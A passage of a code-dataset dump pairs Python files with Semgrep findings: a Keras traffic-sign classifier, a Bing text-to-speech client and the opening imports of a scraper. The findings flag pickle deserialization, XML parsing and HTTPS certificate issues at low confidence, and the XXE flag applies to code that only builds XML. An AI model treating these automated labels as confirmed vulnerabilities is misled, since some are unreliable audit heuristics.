"LOW"
] | [
"HIGH"
] | ddgFirefox2.py | /ddgFirefox2.py | DU-ds/Misc-Python-Scripts | MIT | |
2024-11-18T19:19:15.372302+00:00 | 1,580,255,322,000 | 7077c336fe73ff7518dabf54f159b8a6abd4dbdc | 3 | {
"blob_id": "7077c336fe73ff7518dabf54f159b8a6abd4dbdc",
"branch_name": "refs/heads/master",
"committer_date": 1580255322000,
"content_id": "bc5c3a9a6dcf1771ae4f46b97cfbed0c5b3f63a1",
"detected_licenses": [
"MIT"
],
"directory_id": "57a012d807e6b764d4a756ffbd075532e91e3d2a",
"extension": "py",
"filename": "Road Symbols.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 165163547,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5999,
"license": "MIT",
"license_type": "permissive",
"path": "/Traffic Signs/Road Symbols.py",
"provenance": "stack-edu-0054.json.gz:580173",
"repo_name": "zbs881314/Self-Driving-Car-",
"revision_date": 1580255322000,
"revision_id": "4e18a410b1ad6c542c72c7ee68f0a4042f45f9d3",
"snapshot_id": "730b02042728c04bdc634e7b924bc41fad4f644c",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/zbs881314/Self-Driving-Car-/4e18a410b1ad6c542c72c7ee68f0a4042f45f9d3/Traffic Signs/Road Symbols.py",
"visit_date": "2020-04-16T01:11:07.787183"
} | 2.765625 | stackv2 |
import numpy as np
import matplotlib.pyplot as plt
import keras
from keras.datasets import mnist
from keras.models import Sequential
from keras.layers import Dense
from keras.optimizers import Adam
from keras.utils.np_utils import to_categorical
from keras.layers import Dropout, Flatten
from keras.layers.convolutional import Conv2D, MaxPooling2D
import random
import pickle
import pandas as pd
from keras.callbacks import LearningRateScheduler, ModelCheckpoint
np.random.seed(0)
with open('german-traffic-signs/train.p', 'rb') as f:
train_data = pickle.load(f)
with open('german-traffic-signs/valid.p', 'rb') as f:
val_data = pickle.load(f)
with open('german-traffic-signs/test.p', 'rb') as f:
test_data = pickle.load(f)
print(type(train_data))
#print(train_data)
X_train, y_train = train_data['features'], train_data['labels']
X_val, y_val = val_data['features'], val_data['labels']
X_test, y_test = test_data['features'], test_data['labels']
print(X_train.shape)
print(X_val.shape)
print(X_test.shape)
assert(X_train.shape[0]==y_train.shape[0]) #The number of images is not equal to the number of labels
assert(X_val.shape[0]==y_val.shape[0]) #The number of images is not equal to the number of labels
assert(X_test.shape[0]==y_test.shape[0]) #The number of images is not equal to the number of labels
assert(X_train.shape[1:]==(32, 32, 3)) # The dimensions of the images are not 32x32x3
assert(X_val.shape[1:]==(32, 32, 3)) # The dimensions of the images are not 32x32x3
assert(X_test.shape[1:]==(32, 32, 3)) # The dimensions of the images are not 32x32x3
data = pd.read_csv('german-traffic-signs/signnames.csv')
print(data)
num_of_samples = []
cols = 5
num_classes = 43
fig, axs = plt.subplots(nrows=num_classes, ncols=cols, figsize=(5, 50))
fig.tight_layout()
#plt.show()
for i in range(cols):
for j, row in data.iterrows(): # (index, Series)
x_selected = X_train[y_train==j]
axs[j][i].imshow(x_selected[random.randint(0, (len(x_selected) -1)), :, :], cmap=plt.get_cmap('gray'))
axs[j][i].axis('off')
if i == 2:
axs[j][i].set_title(str(j) + '-' + row['SignName'])
num_of_samples.append(len(x_selected))
plt.show()
print(num_of_samples)
plt.figure(figsize=(12, 4))
plt.bar(range(0, num_classes), num_of_samples)
plt.title('Distribution of the training dataset')
plt.xlabel('Class number')
plt.ylabel('Number of images')
plt.show()
import cv2
plt.imshow(X_train[1000])
plt.axis('off')
print(X_train[1000].shape)
print(y_train[1000])
def grayscale(img):
img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
return img
img = grayscale(X_train[1000])
plt.imshow(img)
plt.axis('off')
print(img.shape)
def equalize(img):
img = cv2.equalizeHist(img)
return img
img = equalize(img)
plt.imshow(img)
plt.axis('off')
print(img.shape)
def preprocess(img):
img = grayscale(img)
img = equalize(img)
img = img/255
return img
X_train = np.array(list(map(preprocess, X_train)))
X_test = np.array(list(map(preprocess, X_test)))
X_val = np.array(list(map(preprocess, X_val)))
plt.imshow(X_train[random.randint(0, len(X_train)-1)])
plt.axis('off')
print(X_train.shape)
X_train = X_train.reshape(34799, 32, 32, 1)
X_test = X_test.reshape(12630, 32, 32, 1)
X_val = X_val.reshape(4410, 32, 32, 1)
from keras.preprocessing.image import ImageDataGenerator
datagen = ImageDataGenerator(width_shift_range=0.1,
height_shift_range=0.1,
zoom_range=0.2,
shear_range=0.1,
rotation_range=10.)
datagen.fit(X_train)
batches = datagen.flow(X_train, y_train, batch_size=15)
X_batch, y_batch = next(batches)
fig, axs = plt.subplots(1, 15, figsize=(20, 5))
fig.tight_layout()
for i in range(15):
axs[i].imshow(X_batch[i].reshape(32, 32))
axs[i].axis('off')
print(X_batch.shape)
y_train = to_categorical(y_train, 43)
y_test = to_categorical(y_test, 43)
y_val = to_categorical(y_val, 43)
def modified_model():
model = Sequential()
model.add(Conv2D(60, (5, 5), input_shape=(32, 32, 1), activation='relu'))
model.add(Conv2D(60, (5, 5), activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(30, (3, 3), activation='relu'))
model.add(Conv2D(30, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten())
model.add(Dense(500, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(43, activation='softmax'))
model.compile(Adam(lr=0.001), loss='categorical_crossentropy', metrics=['accuracy'])
return model
model = modified_model()
print(model.summary())
history = model.fit_generator(datagen.flow(X_train, y_train, batch_size=50),
steps_per_epoch=2000,
epochs=10,
validation_data=(X_val, y_val),
shuffle=1)
plt.plot(history.history['loss'])
plt.plot(history.history['val_loss'])
plt.legend(['loss', 'val_loss'])
plt.title('Loss')
plt.xlabel('epoch')
plt.plot(history.history['acc'])
plt.plot(history.history['val_acc'])
plt.legend(['acc', 'val_acc'])
plt.title('Accuracy')
plt.xlabel('epoch')
score = model.evaluate(X_test, y_test, verbose=0)
print(type(score))
print('Test score:', score[0])
print('Test accuracy:', score[1])
import requests
from PIL import Image
url = 'https://c8.alamy.com/comp/G667W0/road-sign-speed-limit-30-kmh-zone-passau-bavaria-germany-G667W0.jpg'
response = requests.get(url, stream=True)
print(response)
img = Image.open(response.raw)
plt.imshow(img, cmap=plt.get_cmap('gray'))
img = np.asarray(img)
print(img.shape)
img = cv2.resize(img, (32, 32))
img = preprocess(img)
plt.imshow(img, cmap=plt.get_cmap('gray'))
print(img.shape)
img = img.reshape(1, 32, 32, 1)
print(img.shape)
prediction = model.predict_classes(img)
print('prediction digit:', str(prediction)) | 227 | 25.43 | 110 | 16 | 1,691 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6600da18b40c8478_63c718ea", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 18, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/6600da18b40c8478.py", "start": {"line": 22, "col": 18, "offset": 557}, "end": {"line": 22, "col": 32, "offset": 571}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6600da18b40c8478_050b8ec1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 16, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/6600da18b40c8478.py", "start": {"line": 24, "col": 16, "offset": 641}, "end": {"line": 24, "col": 30, "offset": 655}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6600da18b40c8478_b694f0df", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 17, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/6600da18b40c8478.py", "start": {"line": 26, "col": 17, "offset": 725}, "end": {"line": 26, "col": 31, "offset": 739}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_6600da18b40c8478_c706cdd5", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 210, "line_end": 210, "column_start": 12, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmppq52ww6s/6600da18b40c8478.py", "start": {"line": 210, "col": 12, "offset": 5589}, "end": {"line": 210, "col": 42, "offset": 5619}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_6600da18b40c8478_9f519c90", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url, stream=True, timeout=30)", "location": {"file_path": "unknown", "line_start": 210, "line_end": 210, "column_start": 12, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmppq52ww6s/6600da18b40c8478.py", "start": {"line": 210, "col": 12, "offset": 5589}, "end": {"line": 210, "col": 42, "offset": 5619}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url, stream=True, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
22,
24,
26
] | [
22,
24,
26
] | [
18,
16,
17
] | [
32,
30,
31
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5,
5
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | Road Symbols.py | /Traffic Signs/Road Symbols.py | zbs881314/Self-Driving-Car- | MIT | |
2024-11-18T19:19:18.807756+00:00 | 1,601,329,074,000 | 92836280dd9151eb3043d2ffd9b6f10bd91f7b27 | 3 | {
"blob_id": "92836280dd9151eb3043d2ffd9b6f10bd91f7b27",
"branch_name": "refs/heads/master",
"committer_date": 1601329074000,
"content_id": "ed04079d7a6acd9cd2333afa818466d0107769ab",
"detected_licenses": [
"MIT"
],
"directory_id": "7d2a3fe2be49659c5aaa7af4feeab57265bcdd12",
"extension": "py",
"filename": "text_to_speech.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 299324128,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5760,
"license": "MIT",
"license_type": "permissive",
"path": "/speech_control/text_to_speech.py",
"provenance": "stack-edu-0054.json.gz:580192",
"repo_name": "NikoKalbitzer/speech_processing_v2",
"revision_date": 1601329074000,
"revision_id": "f6bd9e68365797351dfc7a4cb17ee5141ec77f97",
"snapshot_id": "418b6a55fd79989c3228d8f810960fcb29d54d34",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/NikoKalbitzer/speech_processing_v2/f6bd9e68365797351dfc7a4cb17ee5141ec77f97/speech_control/text_to_speech.py",
"visit_date": "2022-12-22T15:50:30.260678"
} | 2.8125 | stackv2 | import http.client, urllib.parse
from xml.etree import ElementTree
from resources.supported_languages import TTSLanguageCommand
import pyaudio
class TextToSpeech:
def __init__(self, bing_key, language=None, gender=None, output_mode="riff-16khz-16bit-mono-pcm"):
"""
constructor to initialize bing_key, language, gender and output mode
:param bing_key: string, bing api key to get the access token
:param language: string, select appropriate language for the output speech
:param gender: string, gender of the speaker, can be 'Female' or 'Male'
:param output_mode: string,
"""
if isinstance(bing_key, str):
self.bing_key = bing_key
else:
raise TypeError("'bing_key' must be type of string")
self.access_token = self.__get_access_token()
if language is None:
self.language = 'germany'
else:
if isinstance(language, str):
self.language = language
else:
raise TypeError("'language' must be type of string")
if gender is None:
self.gender = 'Female'
else:
if isinstance(gender, str):
if (gender == 'Female') or (gender == 'Male'):
self.gender = gender
else:
raise ValueError("'gender' must be 'Female' or 'Male'")
else:
raise TypeError("'gender' must be type of string")
self.tts_lang = TTSLanguageCommand()
self.language_abbreviation, self.service_name_map = self.tts_lang(self.language, self.gender)
self.output_mode = output_mode
def __get_access_token(self):
"""
method to get the access token from Microsoft
:return: access_token
"""
headers = {"Ocp-Apim-Subscription-Key": self.bing_key}
params = ""
# AccessTokenUri = "https://api.cognitive.microsoft.com/sts/v1.0/issueToken";
access_token_host = "api.cognitive.microsoft.com"
path = "/sts/v1.0/issueToken"
# Connect to server to get the Access Token
conn = http.client.HTTPSConnection(access_token_host)
conn.request("POST", path, params, headers)
response = conn.getresponse()
if response.status == 200 and response.reason == 'OK':
data = response.read()
conn.close()
access_token = data.decode("UTF-8")
return access_token
else:
raise ValueError("Did not get the access token from microsoft bing")
def request_to_bing(self, text=None):
"""
method to request the Microsoft text to speech service
:param text, string, given text to speak
:return:
"""
body = ElementTree.Element('speak', version='1.0')
body.set('{http://www.w3.org/XML/1998/namespace}lang', self.language_abbreviation)
voice = ElementTree.SubElement(body, 'voice')
voice.set('{http://www.w3.org/XML/1998/namespace}lang', self.language_abbreviation)
voice.set('{http://www.w3.org/XML/1998/namespace}gender', self.gender)
voice.set('name', self.service_name_map)
if text is None:
voice.text = 'This is a demo to call microsoft text to speech service in Python.'
else:
if isinstance(text, str):
voice.text = text
else:
raise TypeError("text must be a type of string")
headers = {"Content-type": "application/ssml+xml",
"X-Microsoft-OutputFormat": self.output_mode,
"Authorization": "Bearer " + self.access_token,
"X-Search-AppId": "07D3234E49CE426DAA29772419F436CA",
"X-Search-ClientID": "1ECFAE91408841A480F00935DC390960",
"User-Agent": "TTSForPython"}
# Connect to server to synthesize the wave
print("\nConnect to server to get wav stream")
conn = http.client.HTTPSConnection("speech.platform.bing.com")
conn.request("POST", "/synthesize", ElementTree.tostring(body), headers)
response = conn.getresponse()
if response.status == 200 and response.reason == 'OK':
return response
else:
raise ValueError("Did not get a correct response from microsoft server")
def play_request(self, http_response):
"""
:return:
"""
CHUNK = 1024
p = pyaudio.PyAudio()
stream = p.open(format=p.get_format_from_width(2),
channels=1,
rate=16000,
output=True)
if isinstance(http_response, http.client.HTTPResponse):
data = http_response.read(CHUNK)
# play stream
while len(data) > 0:
stream.write(data)
data = http_response.read(CHUNK)
# stop stream
stream.stop_stream()
stream.close()
# close PyAudio
p.terminate()
else:
raise TypeError("http_response must be a HTTPResponse object")
#data = response.read()
#wf = wave.open("file.wav", 'wb')
#wf.setnchannels(1)
#wf.setsampwidth(2)
#wf.setframerate(16000)
#wf.writeframesraw(data)
#wf.close()
#with open("file.wav", "w") as f:
# f.write(data)
#print(type(data))
#print(len(data))
#wf = wave.open('file.wav', 'rb')
# instantiate PyAudio (1)
# open stream (2)
#stream = p.open(format=p.get_format_from_width(wf.getsampwidth()),
# channels=wf.getnchannels(),
# rate=wf.getframerate(),
# output=True)
#("The synthesized wave length: %d" % (len(data)))
| 174 | 32.1 | 102 | 18 | 1,325 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_dd4e29ecea17aa4f_877b18b6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 1, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/dd4e29ecea17aa4f.py", "start": {"line": 2, "col": 1, "offset": 33}, "end": {"line": 2, "col": 34, "offset": 66}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.httpsconnection-detected_dd4e29ecea17aa4f_9f55e6e4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.httpsconnection-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 16, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.httpsconnection-detected", "path": "/tmp/tmppq52ww6s/dd4e29ecea17aa4f.py", "start": {"line": 66, "col": 16, "offset": 2174}, "end": {"line": 66, "col": 62, "offset": 2220}, "extra": {"message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "metadata": {"owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "cwe": ["CWE-295: Improper Certificate Validation"], "references": ["https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.httpsconnection-detected_dd4e29ecea17aa4f_07533c02", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.httpsconnection-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 108, "line_end": 108, "column_start": 16, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.httpsconnection-detected", "path": "/tmp/tmppq52ww6s/dd4e29ecea17aa4f.py", "start": {"line": 108, "col": 16, "offset": 4031}, "end": {"line": 108, "col": 71, "offset": 4086}, "extra": {"message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "metadata": {"owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "cwe": ["CWE-295: Improper Certificate Validation"], "references": ["https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-611",
"CWE-295",
"CWE-295"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.audit.httpsconnection-detected",
"rules.python.lang.security.audit.httpsconnection-detected"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"MEDIUM",
"MEDIUM"
] | [
2,
66,
108
] | [
2,
66,
108
] | [
1,
16,
16
] | [
34,
62,
71
] | [
"A04:2017 - XML External Entities (XXE)",
"A03:2017 - Sensitive Data Exposure",
"A03:2017 - Sensitive Data Exposure"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The HTTPSConnection API has changed frequently with minor ... | [
7.5,
5,
5
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"LOW",
"LOW"
] | text_to_speech.py | /speech_control/text_to_speech.py | NikoKalbitzer/speech_processing_v2 | MIT | |
2024-11-18T19:29:36.334563+00:00 | 1,477,885,212,000 | 99cf2a20456d7c08403619fc23c85f2f4d5ea3a1 | 2 | {
"blob_id": "99cf2a20456d7c08403619fc23c85f2f4d5ea3a1",
"branch_name": "refs/heads/master",
"committer_date": 1477885212000,
"content_id": "b1ad97bacc5e9e3bdb5c48dc3c3feb6563468a3d",
"detected_licenses": [
"MIT"
],
"directory_id": "352be6f421e4c5e7bbda111ff18001e08d593e04",
"extension": "py",
"filename": "PaChong.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 72077297,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3577,
"license": "MIT",
"license_type": "permissive",
"path": "/ChatServers/PC/PaChong.py",
"provenance": "stack-edu-0054.json.gz:580227",
"repo_name": "RogueAndy/RgPython",
"revision_date": 1477885212000,
"revision_id": "71d93aea10ad4a0a49bfd896e68a8d1e11aaea63",
"snapshot_id": "3ebbedb3d470870ad3971bd39e3809586830b90c",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/RogueAndy/RgPython/71d93aea10ad4a0a49bfd896e68a8d1e11aaea63/ChatServers/PC/PaChong.py",
"visit_date": "2021-01-13T09:29:01.295228"
} | 2.3125 | stackv2 | import urllib.request
import urllib.parse
import pymysql
from html.parser import HTMLParser
from sqlalchemy import *
